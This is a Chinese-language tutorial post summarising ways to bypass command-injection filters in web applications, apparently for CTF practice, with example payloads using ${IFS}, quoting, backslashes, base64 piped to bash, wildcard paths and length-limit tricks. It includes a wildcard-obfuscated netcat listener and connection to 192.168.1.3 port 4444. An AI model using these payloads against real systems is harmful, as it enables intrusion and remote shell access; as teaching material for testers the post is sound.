当前位置:网站首页>命令注入绕过方式总结
命令注入绕过方式总结
2022-07-28 05:20:00 【cainsoftware】
前言
命令注入是web中常见的漏洞之一,由于web应用程序未对用户提交的数据做严格的过滤,导致用户输入可以直接被linux或windows系统当成命令执行,一般都会造成严重的危害。
常用符号
分号(;)
多条语句顺序执行时的分割符号。
cmd1;cmd2管道符(|)
cmd1命令的输出,作为下一条命令cmd2的参数。
cmd1|cmd2and(&&)
与命令,cmd1成功则执行cmd2,cmd1失败则不执行cmd2
cmd1 && cmd2or(||)
或命令,cmd1失败则执行cmd2,cmd1成功则不执行cmd2
cmd1 || cmd2反引号()和$()
反引号和$()都可用来表示命令,被这两种方式包含的字符串都会被当做命令首先执行。
echo "result : `whoami`"echo "result : $(whoami)"
绕过方式总结
空格绕过
在过滤了空格的系统中,以cat flag.txt为例,系统不允许我们输入空格或输入后被过滤。
${IFS}
可使用${IFS}代替空格。
cat${IFS}flag.txtcat$IFS$1flag.txtcat${IFS}$1flag.txt
重定向符绕过(<>)
cat<>flag.txtcat<flag.txt
%09(需要php环境)
php环境下web输入%09等效于TAB
cat%09flag.txt黑名单绕过
拼接
使用shell变量拼接被黑名单限制的关键词
a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e;base64
使用反引号包含base64解码后的命令
`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`将base64解码后的命令通过管道符传递给bash
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash单引号,双引号
c""at fl''ag.tx""t反斜杠
c\at fl\a\g.tx\t$1
ca$1t fl$1ag.t$1xt读文件绕过
(1)more:一页一页的显示档案内容(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页(3)head:查看头几行(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示(5)tail:查看尾几行(6)nl:显示的时候,顺便输出行号(7)od:以二进制的方式读取档案内容(8)vi:一种编辑器,这个也可以查看(9)vim:一种编辑器,这个也可以查看(10)sort:可以查看(11)uniq:可以查看(12)file -f:报错出具体内容
通配符绕过
/???会去寻找 / 目录下的三个字符长度的文件,正常情况下会寻找到/bin,然后/?[a][t]会优先匹配到/bin/cat,就成功调用了cat命令,然后后面可以使用正常的通配符匹配所需读的文件,如flag.txt文件名长度为8,使用8个?’’,此命令就会读取所有长度为8的文件。
/???/?[a][t] ?''?''?''?''?''?''?''?''同理,我们也可以匹配/bin下的其他命令,如more,less,vi,tail等命令来查看文件,或者执行其他命令。
/???/[m][o]?[e] ?''?''?''?''?''?''?''?''/???/[t]?[i][l] ?''?''?''?''?''?''?''?''甚至开启一个shell
/???/[n]?[t]??[t] -lvp 4444/???/[n]?[t]??[t] 192.168.1.3 4444命令嵌套
echo "result:`whoami`"echo "result:$(uname -a)"长度绕过
使用>>绕过长度限制
使用>>每次添加一部分命令到文件中
echo -n "cmd1" > r;echo -n "cmd2" >> r;echo -n "cmd3" >> r;echo "cmd4" >> r;
然后使用cat r | bash执行命令
使用换行执行和ls -t绕过长度限制
linux中,文件中的命令如果需要换行书写,需要在前一行末尾增加\,如文件a中有
ca\t flag.t\xt
使用sh a即可执行命令cat flag.txt
ls -t可根据时间创建顺序逆序输出文件名
a可以创建一个名为a的文件
按照这个思路,可以使用
> "ag"> "fl\\"> "t \\"> "ca\\"
然后使用ls -t > s
s中文件内容就是
sca\t \fl\ag\其他的无关内容
之后使用sh s,即可执行cat flag
边栏推荐
猜你喜欢

对极大似然估计、梯度下降、线性回归、逻辑回归的理解

Arcgis Engine安装的若干问题

结果填空 国庆有几天是星期日(纯Excel解决)

ArcGIS Engine Development Resources

Annotation and grid addition of ArcGIS map making

Acquisition of student status management system based on PHP (PHP graduation design)

Flex elastic box

使用sourcetree推送仓库时 Failed to connect to www.google.com port 80: Timed out

media-搭建直播服务器

Review of metallurgical physical chemistry -- Fundamentals of metallurgical reaction kinetics and characteristics of multiphase reaction kinetics
随机推荐
五子棋优化版
DOM窗口相关数据、操作 & BOM操作
Sankey diagram drawing based on highcharts platform
书籍-穷查理宝典
new,let,var,const以及暂时性死区,xml和json的区别
(php毕业设计)基于php校园网络报修管理系统获取
DOM操作的案例
浅谈一段奇妙旅程
cmd和npm基础命令
蓝桥杯 方格填数
抖音-视频步骤
Distance toolbar in ArcMap (distance)
(php毕业设计)基于php在线旅游网站管理系统获取
ES6 --- deconstruction assignment
Model builder of ArcGIS
结果填空 星系炸弹(Excel秒杀)
基于Highcharts平台的桑基图(Sankey diagram)绘制
初学移动端
pytorch安装----CPU版的
DOM——页面的渲染、style属性操作、预加载与懒加载、防抖与节流